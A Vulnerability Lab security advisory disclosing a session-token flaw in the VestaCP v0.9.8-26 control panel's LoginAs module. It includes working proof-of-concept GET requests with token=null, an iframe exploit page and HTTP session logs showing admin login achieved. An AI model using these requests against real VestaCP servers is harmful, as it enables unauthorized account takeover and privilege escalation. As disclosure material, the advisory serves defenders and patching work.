===============
VestaCP v0.9.8-26 - (LoginAs) Token Session Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2240
Release Date:
=============
2020-11-26
Vulnerability Laboratory ID (VL-ID):
====================================
2240
Common Vulnerability Scoring System:
====================================
8.3
Vulnerability Class:
====================
Insufficient Session Validation
Current Estimated Price:
========================
2.000€ - 3.000€
Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on
Vesta open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for
software and other kinds of works. Its free to change,
modify and redistribute source code.
(Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a
insufficient session validation vulnerability in the VestaCP
v0.9.8-26 hosting web-application.
Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel
(Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security
Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
A session token vulnerability has been discovered in the official
VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to gain unauthenticated
or unauthorized access by client-side token manipulation.
The token vulnerability is located in the function of the
`LoginAs` module. Remote attackers are able to perform LoginAs
requests
without session token to preview there profiles. The attack
requires user account privileges for manipulation of the
request.
The admin panel allows to request via token the local user accounts
to login as via account switch. In that moment the token
of the request can be removed to perform the same interaction with
user privileges. Thus allows to access other account
information without administrative permissions. The permission
approval on login request is insufficient regarding a
misconfiguration on the token implementation (client-side).
Successful exploitation of the web vulnerability results in
information disclosure, user or admin account compromise and
elevation of privileges by further exploitation.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] /login/
Vulnerable Parameter(s):
[+] token
Affected Parameter(s):
[+] loginas
Proof of Concept (PoC):
=======================
The token web vulnerability can be exploited by remote attackers
with simple user privileges without user interaction.
For security demonstration or to reproduce the vulnerability follow
the provided information and steps below to continue.
Request: Default (Download Backup)
https://vestacp.localhost:8083/login/?loginas=user&token=f230a989082eec102ad5a3bb81fd0190
https://vestacp.localhost:8083/login/?loginas=admin&token=f230a989082eec102ad5a3bb81fd0190
PoC: Exploitation
https://vestacp.localhost:8083/login/?loginas=user/.admin&token=null
PoC: Exploit
<html>
<head><body>
<title>VestaCP (Control Panel) v0.9.8-26 - LoginAs User/Admin
PoC</title>
<iframe
src="https://vestacp.localhost:8083/login/?loginas=admin&token=null"%20>
</body></head>
<html>
--- PoC Session Logs [GET] ---
https://vestacp.localhost:8083/login/?loginas=[ACCOUNTNAME]&token=null
Host: vestacp.localhost:8083
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer: https://vestacp.localhost:8083/list/user/
Cookie:
__utma=80953744.319544562.1588324200.1588338964.1588341255.6;
__utmc=80953744;
__utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/;
_ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2;
PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0;
__utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1;
metrika_enabled=1; _ym_metrika_enabled=1;
_ym_metrika_enabled_34956065=1
-
GET: HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Location: /
-
https://vestacp.localhost:8083/
Host: vestacp.localhost:8083
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://vestacp.localhost:8083/list/user/
Connection: keep-alive
Cookie:
__utma=80953744.319544562.1588324200.1588338964.1588341255.6;
__utmc=80953744;
__utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/;
_ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2;
PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0;
__utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1;
metrika_enabled=1; _ym_metrika_enabled=1;
_ym_metrika_enabled_34956065=1
-
GET: HTTP/1.1 302 Moved Temporarily
Server: nginx
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
-
Location: /list/user/
https://vestacp.localhost:8083/list/user/
Host: vestacp.localhost:8083
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://vestacp.localhost:8083/list/user/
Connection: keep-alive
Cookie:
__utma=80953744.319544562.1588324200.1588338964.1588341255.6;
__utmc=80953744;
__utmz=80953744.1588333371.4.4.utmcsr=demo.vestacp.com|utmccn=(referral)|utmcmd=referral|utmcct=/;
_ym_uid=1588324200958108010; _ym_d=1588324200; _ym_isad=2;
PHPSESSID=7u5ilka7amc64ue6htfipljha7; hide_passwords=0;
__utmb=80953744.5.10.1588341255; _ym_visorc_34956065=w; __utmt=1;
metrika_enabled=1; _ym_metrika_enabled=1;
_ym_metrika_enabled_34956065=1
-
GET: HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=120
Content-Encoding: gzip
-
Welcome - Logged in as user admin
Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/login/
https://vestacp.localhost:8083/login/?loginas
https://vestacp.localhost:8083/list/user/
Security Risk:
==============
The security risk of the remote session vulnerability in the
vestacp application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is
without any warranty. Vulnerability Lab disclaims all
warranties,
either expressed or implied, including the warranties of
merchantability and capability for a particular purpose.
Vulnerability-Lab
or its suppliers are not liable in any case of damage, including
direct, indirect, incidental, consequential loss of business
profits
or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may
not apply.
We do not approve or encourage anybody to break any licenses,
policies, deface websites, hack into databases or trade with stolen
data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com
infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability
Laboratory.
Permission to electronically redistribute this alert in its
unmodified form is granted. All other rights, including the use of
other
media, are reserved by Vulnerability-Lab Research Team or its
suppliers. All pictures, texts, advisories, source code, videos and
other
information on this website is trademark of vulnerability-lab team
& the specific authors or managers. To record, list, modify, use
or
edit our material contact (admin@ or research@) to get a ask
permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™